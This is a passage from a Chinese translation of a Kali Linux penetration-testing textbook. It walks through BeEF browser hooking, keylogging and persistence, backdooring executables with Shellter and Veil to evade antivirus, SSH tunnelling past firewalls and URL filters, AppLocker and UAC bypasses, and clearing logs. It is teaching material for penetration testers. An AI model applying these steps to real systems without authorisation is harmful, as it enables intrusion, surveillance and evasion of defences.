一旦目标上钩，启动Metasploit控制台并使用以下命令配置该攻击： 等到所有相关的漏洞利用加载完毕。在图9.28所示的例子中，有20个漏洞利用被加载。同样也记录了该攻击目标的URL。在这个例子中，目标URL是 http://192.168.213.128:8080/Bo4QcxfSINty 。 图9.28 加载browser_autopwn利用 有几种方法可以直接让浏览器点击目标URL，但是，如果我们已经连接了目标浏览器，可以使用BeEF的redirect功能。在BeEF的控制面板中，进入Browser|Hooked Domain|Redirect Browser。当出现提示时，使用此模块指向目标URL，然后执行该攻击。 在Metasploit的控制台中，你将看到所选的攻击针对目标成功发起。一个成功的攻击将打开一个Meterpreter会话。"},
    {"text": "9.5.2 用BeEF作为隧道代理 隧道是一个在交付协议中封装有效载荷协议的过程，如IP。使用隧道，你可以在网络上传输不兼容的协议，或者，你也可以绕过被配置为阻止特定协议的防火墙。BeEF可以被配置为隧道代理，模仿一个反向HTTP代理：浏览器会话变成隧道，带钩浏览器变成出口点。当内部网络已被破坏时，这个配置是相当有用的，因为隧道代理可以被用于： ·浏览通过身份验证网站的、受害者浏览器的安全内容（客户端SSL证书、认证的信息记录程序、NTLM散列函数，等等）。 ·使用受害者浏览器的安全内容，爬已经上钩的域。 ·便于使用的工具，如SQL注入。 要使用隧道代理，选择带钩浏览器，你希望的目标并且右键单击其IP地址。在弹出的对话框中，选择Use as Proxy的选项，如图9.29所示。 图9.29 使用隧道代理 配置浏览器，使用BeEF隧道代理作为HTTP代理。在默认情况下，该代理的地址是127.0.0.1，端口号是6789。 如果你访问一个目标网站，使用设置为HTTP代理的浏览器，所有生成的请求/响应对将被存储在BeEF的数据库中，其可以被分析，导航到Rider|History（日志摘录如图9.30所示）。 图9.30 日志摘录 一旦攻击已经完成，有一些机制来确保该连接被持久保留，其中包括： ·确认关闭（Confirm close）：当他们试图关闭一个项目时，一个模块弹出，呈现给受害者：Confirm Navigation-are you sure you want to leave this page？（确认导航——你确定你想离开这个页面吗？）。如果用户选择Leave this Page（离开这个页面），它将失效，会继续弹出Confirm Navigation。 ·下弹出模块（Pop-under module）：这是配置在config.yaml中的自动运行模块。如果受害者关闭主浏览器选项卡，此模块试图打开一个小下弹出窗口，用于保持带钩浏览器。这可以通过弹出窗口阻止程序来阻止。 ·iFrame键盘记录器（iFrame keylogger）：重写所有的网页链接到iFrame，并覆盖100%的原始高度和宽度。为实现最大化效果，它应该被附加到JavaScript键盘记录器中。理想情况下，你会加载带钩域的登录页面。 ·人在浏览器中（Man-in-the-browser）：此模块可确保受害者点击任何链接后，出现的下一个页面也将被钩。避免这种行为的唯一途径是在地址栏中输入一个新的地址。 最后，虽然BeEF提供了一个极好的模块系列来执行侦察，同时用于杀链的利用和后期利用阶段，但BeEF已知的默认活动（/hook.js和服务器头信息）被用于检测攻击，这降低了其有效性。测试人员将不得不伪装自己的攻击，使用Base64编码、空格编码、随机的变量和删除注释，以确保其在未来有完整的有效性。 9.6 小结 在本章中，我们研究了针对系统的攻击，通常是从被保护网络中孤立出来的。这些客户端攻击，重点放在特定应用程序的漏洞上。我们回顾了恶意脚本，尤其是VBScript和PowerShell，其在测试和破坏Windows网络中特别有用。然后，我们也研究了跨站脚本框架，它可以破解XSS漏洞，以及BeEF工具，其目标是攻击网络浏览器的漏洞。XSSF和BeEF与侦察、利用和后期利用工具的整合集成，在Kali上提供了综合的攻击平台。 在下一章中，我们将把更多的精力放在如何绕过网络接入控制（NAC）和杀毒软件，用户账户控制（UAC）和Windows操作系统的控制。我们还将探索工具如掩饰框架、避难所、增强迁移体验工具包（EMET）。 第10章 绕过安全控制 “唯一能站在你和非凡成功之间的就是不断进步。” 通常，假设测试人员拥有知识和工具集，可以完全地入侵网络或企业，当测试人员达到root或连接到内部网络时，他们就完成了测试。在评估目标组织的预防和检测技术时，渗透测试活动中一个被忽视的方面是绕过安全控制。作为杀链方法至关重要的一部分，所有的渗透测试活动中，渗透测试人员或攻击者需要了解在对目标网络或系统进行主动攻击时，使入侵目标失效的原因是什么，并且绕过目标组织设置的安全控制。在本章中，我们将对不同类型的安全控制进行介绍，为了克服这些控制需要识别系统的过程，并演示使用Kali工具集的方法。 在本章中，你将了解以下内容： ·绕过网络访问控制（Network Access Control，NAC） ·使用不同的框架绕过防病毒软件 ·绕过应用程序级控制 ·绕过Windows特定的操作系统安全控制 10.1 绕过网络访问控制 NAC按照IEEE 802.1X标准的基本要求运行。大多数公司都实现了用NAC保护所有的网络节点，如交换机、路由器、防火墙、服务器，以及更重要的端点。 恰当的NAC指的是设置防止入侵的控制策略，主要确定谁可以访问什么内容。在本节中，我们将深入研究攻击者或渗透测试人员在RTE或渗透测试中遇到的不同类型的NAC。 由于没有特定的共同标准或标准化的NAC，各供应商的实现方式都有所不同。例如，思科提供思科网络准入控制（Cisco Network Admission Control）、微软提供微软网络访问保护（Microsoft Network Access Protection）。NAC的主要目的是控制可以连接的设备/元素，然后确保它们是兼容的。NAC网络访问控制保护可分为两个不同的类别： 1）前准入NAC。 2）后准入NAC。 图10.1提供了一个攻击者在内部渗透测试或后开发阶段，按杀链方法执行的思维导图活动。 图10.1 网络访问控制导图"},
    {"text": "10.1.1 前准入NAC 在前准入NAC中，为了便于给网络添加新设备，基本上所有的控制都是按照安全要求进行的布置。接下来的部分将介绍绕过它们的不同方法。 1.添加新元素 通常，公司中任何已经部署的NAC都能够识别添加到网络中的任何新元素（设备）。在红队测试或内部渗透测试过程中，攻击者通常添加设备到网络如pwnexpress NAC，并通过在设备上运行Kali Linux绕过NAC设定的限制，保持对添加设备的访问。 在6.4节中，我们已经看到了如何绕过MAC地址认证，并让我们的系统通过macchanger来进入网络。 2.识别规则 识别规则被认为是理解规则如何应用的艺术，尤其是当内部系统隐藏在NAT后面的时候。例如，如果你能把你的Kali攻击箱作为一个内部网络的元素，通过MAC过滤器或物理接入局域网电缆；那么，你已经使用本地IP地址将该元素添加到企业网络中，如图10.2所示。 DHCP信息被自动地更新到/etc/resolv.conf文件中。许多企业使用DHCP代理来保护自己，可以通过添加一个静态IP地址来绕过它。 图10.2 接入企业网 （1）异常 根据经验，我们已经注意到任何对规则列表有明显异常的组织都将之应用于访问控制。例如，如果应用程序端口允许一定范围内的IP访问，那么一个经过验证的元素或端点就可以模拟异常，例如路由。 （2）隔离规则 在渗透测试期间识别隔离规则，将测试攻击者规避企业设置的安全控制的能力。 3.禁用端点安全 在前准入NAC中攻击者可能遇到的一个问题是，当元素不兼容时，端点将被禁用。例如，试图连接到网络而没有安装反病毒的元素将被自动隔离。 （1）预防补救 大多数端点都有一个抗病毒和预定义的补救活动。例如，执行端口扫描的IP地址将会被阻塞一段时间，而流量将被杀毒软件阻塞。 （2）添加异常 如果已经在访问一个远程shell，添加自己的规则集是很重要的。 例如，可以利用Windows命令行netsh实用程序，通过防火墙添加一个远程桌面，如图10.3所示。 图10.3 使用netsh命令 10.1.2 后准入NAC 后准入NAC是一组已经被授权的设备，它们位于交换机和分发交换机之间，而攻击者可以注意到的保护措施是绕过防火墙和入侵预防系统。 1.旁路隔离 在高级主机入侵预防的情况下，如果端点丢失了安全配置，或者被破坏或被感染，可能有一条规则可以将端点隔离到特定的段中。这将为攻击者提供机会，使他们能够利用特定段的所有系统。 2.蜜罐探测 我们注意到，一些公司还实施了先进的保护机制，将被感染的系统或服务器指向一个蜜罐，并且设置一个陷阱，了解入侵感染或攻击背后的实际动机。 10.2 使用不同的框架绕过防病毒软件 杀链的利用阶段是最危险的一个阶段，渗透测试者或攻击者直接与目标网络或系统交互，他们的活动很可能会被记录，他们的身份也很可能会被发现。因此，必须采用隐身技术，以最大限度地减少测试者暴露的风险。虽然没有具体的方法或工具是无法检测的，但是，改变一些配置，以及利用特别的工具，将使检测更加困难。 当考虑远程攻击时，大多数网络和系统采用不同类型的防御控制，以减少攻击的风险。网络设备包括路由器、防火墙、入侵检测和预防系统，以及恶意软件检测工具。 为了方便漏洞利用，大多数框架纳入了使攻击具有某种隐身的功能。Metasploit框架允许你手动设置基于利用漏洞利用（exploit-by-exploit）的规避因素；然而，确定那一个因素（如作为加密、端口号、文件名和其他因素）是困难的，同时，改变每一个特定的ID也是困难的。该Metasploit框架还允许目标和攻击系统之间的通信是加密的（Windows/meterpreter/reverse_tcp_rc4有效载荷），使得检测到所利用的有效载荷变得非常困难。 Metasploit Pro可作为Kali分布的一个试验，包括以下具体绕过入侵检测系统的方法： ·在发现扫描（Discovery Scan）的设置中，扫描速度可以调整，为降低与目标的交互速度，可以将速度设置为较低。 ·通过发送较小的TCP数据包，并增加数据包之间的传输时间。 ·减少针对目标系统的同时攻击的数量。 ·利用一些特定的回避选项使得DCERPC、HTTP和SMB都能自动配置。 大多数反病毒软件依靠签名匹配来定位病毒和其他恶意软件。它们检查每一个已知的病毒（签名）的可执行代码串，当检测到一个可疑的字符串时，创建一个报警。许多Metasploit的攻击者依赖于可能具有签名的文件，随着时间的推移，这样的文件将被杀毒厂商识别。 对此，Metasploit框架允许独立的可执行文件通过编码来绕过检测。不幸的是，在公共场所，这些可执行测试的泛滥，如virustotal.com，降低了其绕过AV软件的有效性。然而，这就产生了如Veil和Shellter这样的框架来绕过AV软件，通过交叉验证可执行程序，将它们直接上传到病毒总数中，然后再将后门植入目标环境中。"},
    {"text": "10.2.1 利用Veil框架 一个新的AV–逃脱框架由Chris Truncer完成，叫作Veil-Evasion（www.veil-evasion.com），正在为针对终端和服务器的独立的漏洞利用提供有效的保护。"},
    {"text": "Veil-Evasion利用一个简单管理框架，规避各种外壳代码（shellcode）注入技术。 作为一个框架，Veil-Evasion具有一些特性，主要包括如下几点： ·它可以让自定义的shellcode与多种编程语言结合，包括C、C#、Python。"},
    {"text": "Veil-Evasion开始启动的初始界面如图10.4所示。 图10.4 Veil-Evasion开始启动的初始界面 Veil-Evasion正在快速发展，几乎每个月都有重大的发布，重要的升级更加频繁地发生。"},
    {"text": "图10.5 Veil-Evasion可用的有效载荷 要获得一个特定的负载信息，输入info<载荷数字/载荷名>，或者输入info<tab>，自动填充可用有效载荷的信息。"},
    {"text": "使用以下选项还可以直接从命令行创建该利用： 一旦一个漏洞利用被创建，测试人员应该验证载荷对抗VirusTotal的能力，确保载荷放在目标系统中不会触发警报。"},
    {"text": "图10.9 检查VirusTotal中的载荷 测试（Testing）：目前只支持接下来这种情况，如果checkvt在VirusTotal中未找到匹配项，目标机的杀毒软件将检测不了载荷。"},
    {"text": "为了在Metasploit框架中使用它，使用exploit/multi/handler并将PAYLOAD设置成windows/meterpreter/reverse_tcp（与Veil-Evasion载荷选项相同），也与Veil-Evasion中的LHOST及LPORT相同。"},
    {"text": "10.2.2 利用Shellter Shellter是另一种防病毒软件的入侵工具，它可以动态地感染PE，也可以将shell代码注入任何32位的本地Windows应用程序中。它允许攻击者定制有效负载或使用Metasploit框架。大多数反病毒系统将无法识别恶意的可执行文件，这取决于攻击者如何重新编码大量的签名。 可以在终端上运行apt-get install shellter安装Shellter。一旦安装了应用程序，我们就可以通过在终端上使用shellter命令来打开Shellter，能够看到准备在任何可执行文件上创建一个后门的截图，如图10.10所示。 图10.10 准备为可执行文件创建后门 启动Shellter后，以下是创建恶意可执行文件所涉及的典型步骤： 1）攻击者可以选择自动（A）或者手动（M），以及帮助（H）。为了演示，我们将使用自动模式。 2）下一步是提供PE目标文件，攻击者可以选择任何exe文件或者利用在/usr/share/windows-binaries/中的可执行文件。 3）一旦提供了PE目标文件的位置，Shellter就能够将PE文件分解，如图10.11所示。 图10.11 分解PE文件 4）分解完成后，Shellter将提供是否启用隐身模式的选项。 5）选择隐身模式后，你可以将所列的有效载荷注入到相同的PE文件中，如图10.12所示，或者你可以选C自定义载荷。 图10.12 选择隐身模式 6）在这个例子中，我们利用Meterpreter_reverse_HTTPS，并提供LHOST和LPORT，如图10.13所示。 图10.13 使用Meterpreter_reverse_HTTPS的截图 7）所有需要的信息都提供给了Shellter，所提供的PE文件作为输入，现在被注入了有效载荷，并且注入完成了，如图10.14所示。 图10.14 PE文件完成注入 现在，最终的可执行文件已经准备好被杀毒软件扫描了。在这个例子中，我们将使用Windows bit defender来扫描可执行文件，如图10.15所示。 图10.15 使用Windows bit defender扫描文件 一旦这个可执行文件发送给受害者，攻击者就可以根据有效载荷打开监听器；在我们的示例中，LHOST是192.168.1.102，LPORT是5544： 现在你可以将前面的命令列表保存到文件名为listener.rc的文件中，通过运行msfconsole-rlistener.rc来使用Metasploit。一旦受害者打开了可执行文件而不被防病毒程序或任何安全控制阻止，它就应该向攻击者的IP打开通道而不会有任何麻烦，如图10.16所示。 图10.16 入侵成功 这就是建立一个后门并将其植入受害者系统的有效方法。 大多数反病毒工具能够抓取反向Meterpreter shell。建议渗透测试者在真正使用前，进行多次编码。 10.3 绕过应用程序级控制 绕过应用程序控制是后利用的一项琐碎活动；有多个应用程序级别的保护/控制措施。在本节中，我们将深入研究常见的应用程序级控制和策略，以绕过它们，并从企业网络建立到互联网的连接。 10.3.1 利用SSH穿透客户端防火墙 在将自己添加到内部网络之后，最主要的事情之一就是如何使用SSH隧道穿透防火墙。现在我们将建立一个反向隧道，从外部互联网绕过所有的安全控制进入攻击箱。 1.由内到外 在下面的例子中，Kali Linux在61.x.x.142的互联网云上运行，在端口443上运行SSH服务（确保你更改了网络路由器上的设置以运行点到SSH）。从公司内部网络来看，除了80和443端口外，所有的端口都在防火墙级别上被封锁，这意味着内部人员能够从公司网络访问互联网。攻击者可以通过直接访问端口443的SSH服务来使用Kali Linux。 从技术上讲，这家公司的网络流量（见图10.17）是由内到外的： 图10.17 一个公司的网络流量 下一步，你应该能够使用你的互联网系统与内部网络进行通信。 2.绕过URL过滤机制 你可以利用现有的SSH连接，并使用端口转发技术来绕过安全策略或本地设备的任何限制。 当我们尝试访问下面的例子时，显示有一个URL过滤装置，它阻止我们访问某些网站，如图10.18所示。 这可以用一个隧道工具来绕过；在这种情况下，我们将使用一个可移植的软件PuTTY。 1）打开PuTTY菜单。 2）单击连接（Connection）选项卡上的隧道（tunnels）。 3）输入本地端口为8090，并将远程端口添加为任意一个，如图10.19所示。 图10.18 由URL过滤设备的系统 图10.19 添加远程端口 这使得互联网能够访问你的内部到外部系统，这意味着端口8090上的所有流量现在可以通过外部系统在61.x.x.142上进行转发。 4）下一步是找到Internet Options|LAN connections|Advanced|SOCKs，在代理地址中（Proxy address to use）输入127.0.0.1，在端口上使用8090，如图10.20所示。 图10.20 使用Proxy address to use 现在代理指向了远程机器；你现在可以访问该网站，没有来自代理或任何URL过滤设备的任何阻挡，如图10.21所示。通过这种方式，渗透测试人员可以绕过URL过滤，并将数据过滤到公共云，或黑客托管的计算机，或被屏蔽的网站。 图10.21 完成任务 3.由外到内 为了建立一个稳定的从外部到内部系统的连接，必须使用SSH建立一个隧道： 图10.22显示了使用SSH从内部到外部主机的登录，并在本地主机上打开了一个端口2210，以转发SSH。 图10.22 使用SSH 这是通过反向SSH隧道建立一个稳定的反向连接，可以绕过任何防火墙限制。在对远程系统进行身份验证后，运行以下命令： 发布内部访问，这都是关于持久性的，需要保持对数据的过滤和访问，同时要求避免防火墙或网络保护设备进行的检测。 测试者必须通过编辑/etc/ssh/ssh_config设置GatewayPorts为yes来改变SSH测试。"},
    {"text": "10.3.2 攻击应用程序白名单 渗透测试人员可能会注意到很多企业制订的严格政策，只有某些类型的应用白名单才允许在用户级别执行。 Metasploit模块exploit/windows/misc/regsvr32_applocker_bypass_server可以被渗透测试人员利用，该模块可以绕过这些组织使用的应用白名单技术。在默认情况下，此模块包括Windows Meterpreter reverse TCP载荷。一旦所有需要的信息，如LHOST、LPORT和URIPATH（如果没有设置将会是随机的）更新到漏洞利用，就可以简单地发动攻击，如图10.23所示。 图10.23 发动攻击 在另一个受害者身上，该命令必须成功运行才能获得反向（reverse）TCP shell，如图10.24所示。 图10.24 运行成功，获得反向TCP shell 你可以自己编写代码来检查JavaScript或HTML文件。以下代码非常简单地绕过JavaScript： 上面的代码可以从JavaScript运行前面的有效负载，从而向攻击者提供来自目标的反向shell。另一种绕过应用白名单的简单方法是检查Internet Explorer是否允许在其进程内运行任何其他程序。在下面的例子中，我们将尝试通过Internet Explorer运行VBScript。下面的代码行只是通过wscript shell调用特定的DLL文件scrobj.dll，检查对象是否可以在Internet Explorer中创建或不被创建，从而利用Internet Explorer中的漏洞。 然而，这并不被认为是一种隐秘模式，因为它需要触发用户的交互安全警告，如图10.25所示。 图10.25 触发安全警告 10.4 绕过Windows特定的操作系统控制 在每个企业环境中，我们看到为用户提供的所有端点都在Windows操作系统上。使用Windows的可能性总是很高的。在本节中，我们将重点讨论一些特定的操作系统安全控制，以及如何绕过它们，顺利对端点进行访问。 10.4.1 增强迁移体验工具 增强迁移体验工具（EMET）是一个额外的安全缓解项目/层，是微软为客户提供的、操作系统内置工具之外的工具。EMET作为一个动态链接库（DLL）在一个受保护的程序中运行，目标是使漏洞利用更加困难。然而，微软在2016年宣布，它将终结EMET，这意味着版本5.5是最后的版本了。表10.1提供了微软发布的、不同的EMET版本；然而，攻击者总是能找到一种绕过这种迁移的新方法。 表10.1 微软发布的、不同的EMET版本 最新的漏洞利用工具包Angler有特殊的技术躲避EMET保护。在某种程度上，Silverlight JIT（Just In Time）的控制代码转移被用来运行一个专门在flash中躲避EAF+的shell代码。 所有在EMET上执行的操作都依赖于支持软件的版本和支持操作系统的功能。例如，Internet Explorer启用了Java、Oracle或Silverlight插件。有效载荷通常比MSF小，更容易绕过EMET保护。 互联网上一个可用的公开的漏洞可以绕过EMET 5.1，可以到 https://www.exploit-db.com/exp loits/35273/ 下载，到 https://www.exploit-db.com/exploits/33944/ 可以下载针对EMET 4.1的漏洞。 图10.26提供了在Windows 7上使用Internet Explorer 8的EMET 5.1。而且，大部分的系统都是兼容于Wow64的。 图10.26 使用EMET5.1 我们并没有过多关注微软关于EMET的最后声明；不过，微软仍将支持延长至2018年7月。"},
    {"text": "10.4.2 用户账户控制（UAC） 在Windows Vista以及更高的版本中，微软引进了安全控制策略，从高、中、低三个不同的完整性级别上来控制运行进程。一个高等级别的进程具有管理员权限，一个中等级别的进程拥有一个基本用户的权限，一个低级别的进程的权限是受限的，这样可以保证当系统受到威胁时，被击垮的程序带来的损害是最小的。 要执行任何特权操作，程序必须以管理员的身份运行，并且符合UAC的设置。UAC有以下4个设置要求： ·始终通知（Always notify）：这是最严格的设置，在任何时刻，有程序要使用更高级别权限时，它都会提示本地用户。 ·仅在程序试图更改我的计算机时通知我（Notify me only when programs try to make changes to my computer）：这是UAC的默认设置。当本地的Windows程序请求更高级别权限时，不通知用户。但是，如果第三方程序要求提升权限，它会提示。 ·只有当程序试图更改我的计算机时通知我（不降低桌面的亮度）（Notify me only when programs try to make changes to my computer（don’t dim my desktop））：这与默认设置相同，但当提示用户时不降低系统监视器的亮度。 ·从不提示（Never notify）：此选项将恢复系统到Vista以前的版本。如果该用户是管理员，所有的程序将以高度完整性运行。 因此，在渗透完成之后，测试者（与攻击者）需要知道以下两件事： ·哪个用户是系统已经识别的用户？ ·在该系统中，这些用户具有什么权限？ 这些可以通过下面这个命令来获得： 一个被入侵的系统可操作的内容是非常完整的，由Mandatory Label\\High Mandatory Level Label展示的内容如图10.27所示。 如果这个Label是Mandatory Label\\Medium Mandatory Level，为了更多后期利用步骤的成功，测试人员需要将用户权限从标准用户提升到管理员权限。 提升权限的第一种方法是使用Metasploit框架，在其上运行exploit/windows/local/ask命令，它将发起RunAs攻击。这个攻击可以创建一个可执行文件，当它被触发时，会运行一个发起提升权限请求的程序。为了避免被本地的杀毒软件检测到，这个可执行文件的创建要使用EXE：：Custom选项或Veil-Evasion进行加密。 图10.27 使用C：\\>whoami/groups获得信息 RunAs攻击的缺点是，当程序企图修改计算机设置时，系统会对用户发出提醒。此警报可能会导致权限提升被认定为攻击。如图10.28所示。 图10.28 系统的警告 如果系统当前的用户是在管理员组，同时用户账户控制程序UAC设置为默认，即仅在程序试图更改我的计算机时通知我（如果设置为始终通知，就可以避免），攻击者就可以使用Metasploit exploit/windows/local/bypassuac模块来提升其特权。 在图10.29中，我们可以看到IP 192.168.0.119已经被成功地入侵，并且在8443上有一个HTTPS的反向shell连接到我们的攻击者IP 192.168.0.120。 图10.29 一个入侵地址与攻击者地址连接 为了确保你能够完全控制远程机器，必须要获得管理级别的权限。攻击者通常利用getsystem将他们当前的能力升级到系统级别。 通常，如果该漏洞在用户的上下文中获得成功，我们可能会收到来自meterpreter会话的错误消息，如图10.30所示。 图10.30 收到的错误信息 bypassuac模块会在目标系统上创建多个工件，它们可以被大多数杀毒软件识别。现在，让我们使用Windows本地漏洞来绕过UAC，如图10.31所示。 图10.31 绕过UAC 一旦会话被设置为一个活动会话，攻击者将可以绕过Windows操作系统的UAC设置，如图10.32所示。 图10.32 绕过UAC设置 一次成功的绕过将为攻击者提供另一个带有系统级特权的meterpreter会话，如图10.33所示。 然而，exploit/windows/local/bypassuac_inject模块直接运行在内存中的反射DLL中，由于它不触碰硬盘，最大限度地降低了被杀毒软件检测到的概率。 试图绕过UAC控制时的一些注意事项如下： ·Windows 8和Windows 10仍然很容易受到这种攻击。如果有人尝试攻击，在攻击者提高权限前，用户会被提示点击确定按钮，很难做到隐身攻击。攻击者可以选择使用exploit/windows/local/ask提高攻击的成功率。 图10.33 带有系统级特权的meterpreter会话 ·考虑到系统到系统的移动（水平/横向升级），如果当前用户是具有其他系统本地管理员权限的域用户，可以使用现有的身份验证令牌来获取访问并绕过UAC。一种常见的攻击是使用Metasploit的exploit/windows/local/current_user_psexec模块实现。"},
    {"text": "10.4.3 其他Windows特定的操作系统控制 Windows特定的操作系统控制可以进一步分为以下五个不同的类别： 1）访问和授权。 2）加密。 3）系统安全。 4）通信安全。 5）审计和日志记录。 1.访问和授权 大多数的漏洞利用都是在安全控制的访问和授权部分执行的，目的是获得对系统的访问和执行未经授权的活动。一些具体的控制措施是： ·添加用户访问凭据管理器（Credential Manager），这将允许用户以可信的调用者的身份创建应用程序。作为回报，该账户可以在同一系统上获取另一个用户的凭证。 作为一个凭据管理器的例子，该系统的用户将他的个人信息添加到通用凭证（Generic Credentials）部分，如图10.34所示。 ·通过基于云计算的账户登录；在默认情况下，一些Windows操作系统允许使用微软账户。 图10.34 添加凭证 ·不要忘记遗留系统中的客户账户，以及被用作服务账户来运行预定作业和其他服务的锁定账户。 ·打印驱动程序的安装可以帮助攻击者绕过机器上设置的安全控制。攻击者可以将驱动程序的安装替换为恶意的可执行文件，从而为系统提供一个持久的后门。 ·匿名安全识别（Security Identification）、命名管道、SAM账户的枚举，这些控制既可以应用于使系统连接到通过域的网络，也可以作为单独安全设置。 ·远程访问注册表路径和子路径。 2.加密 Microsoft Windows所采用的加密技术通常使用在密码存储、NTLM会话和安全通道数据上。 攻击者能成功地绕过加密，大多数要么是利用较弱的密码套件，要么是禁用该功能本身。 3.系统安全 系统级安全性主要是围绕本地系统级漏洞利用和可以绕过的控制： ·时区同步——在大多数组织中，所有的端点都将与它们的主域同步时间；这为攻击者提供了一个机会，使他们可以废弃证据或追踪漏洞。 ·页面文件创建，在内存中锁定页面并创建令牌对象——一些令牌对象和页面文件在系统级运行。其中一个经典的攻击是休眠文件攻击。 ·渗透测试人员首先需要考虑的一件事是：当他们使用本地管理员权限获得目标系统访问时，为了验证他们自己对域的控制，他们升级特权，将用户添加到域，创建全局对象，创建符号链接；而这些需要对域的全面访问。 ·加载和卸载设备驱动程序并设置固件环境值。 ·为所有系统用户启用自动管理登录。 4.通信安全 通常，在通信安全中，大多数的附加网络设备都是必备的，但是，对于Windows系统而言，数字签名证书和服务原则名称（Service Principle Name SPN）服务器目标名称验证，将是渗透测试人员可以利用来开发自定义漏洞利用工具的重要手段。 5.审计和日志记录 Windows的大多数默认配置控制都是在系统启用日志中。 以下是任何组织都可以启用的日志列表，可以在事故/法庭分析中利用这些信息： ·证书验证 ·计算机账户管理 ·分配组管理 ·其他账户管理级别 ·安全组管理 ·用户账户管理 ·进程创建 ·指令服务访问和更改 ·账户锁定/注销/登录/特殊登录 ·可移动存储 ·策略更改 ·安全状态变换 本节提供了一个清晰的回顾，即渗透测试人员必须考虑在我们的杀链方法的后期利用阶段，要清除哪些类型的日志。 10.5 小结 在本章中，我们深入探讨了克服组织内部保护的一部分——安全控制的系统过程。我们关注的是不同类型的网络访问控制绕过机制，如何利用隧道建立连接，绕过防火墙，并在网络、应用程序和操作系统控制的各个层面上学习，以确保我们能够成功地到达目标系统。此外，我们还回顾了如何利用veil-evasion和Shellter工具来绕过反病毒检测。我们还看到了使用Metasploit框架规避不同的Windows操作系统安全控制的方法，如EMET、UAC、应用白名单，以及其他的活动目录特别控制。 在下一章中，我们将研究各种漏洞利用系统方法，包括公共漏洞利用、利用Metasploit框架，以及渗透测试人员开发的基于Windows的漏洞利用技术。 第11章 漏洞利用 “愉快的漏洞利用的可能性取决于你如何去做。” 传统上，渗透测试的倒数第二个要点是利用数据系统获取凭证，或者直接访问感兴趣的数据。正是利用了渗透测试的意义，定义了它与渗透测试的相关性。在本章中，我们将研究各种利用系统的方法，包括公共漏洞利用和可用的漏洞开发框架。到本章的结尾，你应该能够探索： ·Metasploit框架 ·使用Metasploit和Armitage的目标漏洞利用 ·使用公开的漏洞 ·开发Windows特有漏洞的示例 11.1 Metasploit框架 Metasploit框架（Metasploit Framework，MSF）是一个开源工具，旨在便利渗透测试。用Ruby语言编写，它采用了模块化的方法来完成渗透测试。这使得它易于扩展和编写代码，而且可以更容易实现复杂的攻击。 图11.1是Metasploit框架体系结构和组成。 这个框架可以分成三个主要部分： ·库 ·接口 ·模块 图11.1 Metasploit框架体系结构和组成"},
    {"text": "11.1.1 库 Metasploit框架是使用各种函数、库，以及像Ruby这样的编程语言构建的。要实现这些功能，首先，渗透测试人员必须了解这些函数是什么，如何触发它们，哪些参数应该传递给函数，以及期望的结果是什么。 所有的库都在/usr/share/metasploit-framework/lib/文件夹中列出，如图11.2所示： 图11.2 所有库的列表 1.REX REX是一个包含在Metasploit中的库，最初是由Jackob Hanmack开发的，后来成为Rapid 7开发团队的正式产品。这个库提供了用于漏洞利用的各种类。在现在的Metasploit框架中，REX处理所有核心功能，如套接字连接、原始函数和其他的重新格式化。 2.框架–核心 这个库位于/usr/share/metasploit-framework/lib/msf/core中，它为所有要编写的新模块提供基本的应用程序编程接口（Application Programming Interface，API）。 3.框架–基础 这个库为会话、shell、meterpreter、VNC，以及其他缺省API的，但是又依赖于框架核心库内容，提供合适的API。 作为部分Metasploit框架的其他扩展部分，包括定制的插件、协议工具、安全工具、Web服务和其他可以被利用的集成服务。 11.1.2 接口 MSF曾有多个接口，如CLI、Web等。在最新版本（社区版和专业版）中，所有的界面都被Rapid 7开发团队抛弃了。我们将在本章中探索控制台和GUI（Armitage）界面。控制台接口是最快的，因为它提供了攻击命令，并且在一个易于理解的界面提供了所需的配置参数。 要访问该界面，需要在命令提示中输入msfconsole，或者从下拉菜单中选择它，比如08开发工具（08Exploition Tools），图11.3显示了该应用程序启动时的界面。 图11.3 MSF启动界面 11.1.3 模块 MSF框架由多个模块组成，这些模块组合起来可以影响一个漏洞利用。各个模块及其具体的功能如下： ·渗透模块：该代码片段针对特定漏洞。主动渗透会针对某个特定的目标进行持续性渗透，直到完成任务，然后退出（例如，缓冲区溢出）。被动渗透是指等待进入主机，如Web浏览器或FTP客户端，当它们连接时再进行渗透。 ·有效载荷：这是在成功渗透后立即执行的恶意代码。 ·辅助模块：这些模块不会直接在测试者和目标系统之间建立访问路径；相反，它们执行如扫描、模糊或嗅探等相关功能以支持渗透测试。 ·后期模块：成功攻击目标后，这些模块运行在受损目标上，收集有用的数据，支持攻击者深入到目标网络。我们将在第5章继续学习后期模块利用。 ·编码器：当渗透必须绕过杀毒防御时，这些模块对有效载荷进行编译，以使得它不会被签名匹配技术检测到。 ·无操作（NOP）：这些是在攻击时用来促使缓冲区溢出的。 这些模块一起使用，用于对目标进行侦察并发动攻击。使用MSF渗透目标系统的大致步骤如下： 1）选择并配置一个漏洞利用（用于击溃目标系统上特定漏洞的代码）。 2）检查目标系统，以确定它是否容易受到漏洞利用的攻击。此步骤是可选的，通常将其省略来减少侦察步骤。 3）选择和配置有效载荷（在成功攻击后，该代码将在目标系统上执行。例如，从遭到破坏的系统恢复反向的外壳到源代码）。 4）选择一个编码技术，用其来绕过检测控制（IDs/IPs或防病毒软件）。 5）执行渗透利用。"},
    {"text": "11.1.4 数据库设置和配置 建立新版本的Metasploit是相当简单的，因为Metasploit不再作为一个服务运行。 ·通过在终端中运行systemctl start postgresql启动PostgreSQL。 ·通过运行msfinit来初始化Metasploit数据库；除非是第一次，否则初始化将创建数据库msf，同时创建一个角色，并在配置文件/usr/share/metasploitframework/config/database.yml中添加msf_test和msf数据库；否则，默认情况下，msf数据库将在Kali Linux的预构建中创建。 ·现在准备访问msfconsole。 ·你可以通过在控制台中输入db_status来验证数据库的状态，应该能够看到以下内容： ·在不同部门（或两家不同的公司）的多个目标的情况下，在Metasploit中创建一个工作区是很好的做法。这可以通过在msfconsole中运行workspace（工作区）命令来完成。下面的摘录显示了添加或删除工作区的帮助菜单，以组织这些漏洞来实现目标： 下面的例子呈现了对目标（基于Linux操作系统Metasploitable2）的简单攻击。该工具可以在网站 http://sourceforge.net/projects/metasploitable/files/Metasploitable2 下载。Metasploitable2被设计成易攻击的，它包含各种已知并且有特征的漏洞，它提供了一个标准的、用于训练和检验渗透工具的平台。 当作为一个虚拟机安装的时候（见附录），Metasploitable可以用nmap扫描，用于识别开放端口和相关的应用程序。图11.4显示了nmap扫描的部分结果。 图11.4 nmap扫描的部分结果 在前面的例子中，nmap识别了几个应用程序。可以使用db_import命令将相同的nmap结果导入到Metasploit中。nmap的输出通常会产生三种类型的输出：xml、nmap和gnmap。xml格式可以使用Nmap 